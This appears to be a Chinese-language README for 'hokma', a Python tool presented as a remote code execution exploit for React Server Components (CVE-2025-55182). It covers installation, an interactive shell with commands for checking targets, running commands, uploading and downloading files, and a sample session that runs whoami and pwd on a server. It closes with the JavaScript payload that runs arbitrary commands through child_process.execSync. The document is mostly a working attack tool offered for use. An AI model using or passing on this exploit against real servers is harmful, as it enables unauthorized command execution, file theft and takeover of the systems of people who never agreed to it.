# 克隆仓库
git clone https://github.com/yourusername/hokma.git
cd hokma

# 安装依赖
pip install requests

# 使脚本可执行（可选）
chmod +x hokma.py

# 启动交互式 Shell
python hokma.py

# 仅检查漏洞
python hokma.py -u http://target.com --check

# 执行单个命令
python hokma.py -u http://target.com -c "whoami"

help                    显示此帮助信息
set URL <url>           设置目标 URL
set ID <action_id>      设置 Action ID（默认：user-profile-action）
show                    显示当前选项
check [url]             检查目标是否存在漏洞
exploit <command>       在目标上执行命令
shell                   启动交互式命令 Shell
test                    运行测试命令（id、whoami 等）
upload <loc> <rem>      将本地文件上传至目标
download <rem> <loc>    下载远程文件（base64 编码）
clear                   清除屏幕
exit/quit               退出 Shell

$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});